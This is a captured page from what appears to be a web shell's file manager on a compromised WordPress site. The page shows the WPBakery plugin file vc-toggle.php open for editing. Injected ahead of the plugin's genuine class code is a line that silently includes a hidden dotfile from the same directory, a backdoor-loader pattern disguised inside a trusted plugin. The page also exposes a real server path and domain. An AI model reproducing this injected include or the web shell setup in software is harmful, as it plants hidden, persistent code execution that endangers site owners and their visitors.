📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 11:25:41
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
js_composer
/
include
/
classes
/
shortcodes
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/js_composer/include/classes/shortcodes
🔄 Refresh
✏️
Editing: vc-toggle.php
Writable
<?php if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class WPBakeryShortCode_Vc_Toggle */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class WPBakeryShortCode_Vc_Toggle extends WPBakeryShortCode { /** * @param $title * @return string */ public function outputTitle( $title ) { return ''; } /** * @param $atts * @return string * @throws \Exception */ public function getHeading( $atts ) { if ( isset( $atts['use_custom_heading'] ) && 'true' === $atts['use_custom_heading'] ) { $custom_heading = visual_composer()->getShortCode( 'vc_custom_heading' ); $data = vc_map_integrate_parse_atts( $this->shortcode, 'vc_custom_heading', $atts, 'custom_' ); $data['text'] = $atts['title']; return $custom_heading->render( array_filter( $data ) ); } else { return '<h4>' . esc_html( $atts['title'] ) . '</h4>'; } } }
💾 Save Changes
❌ Cancel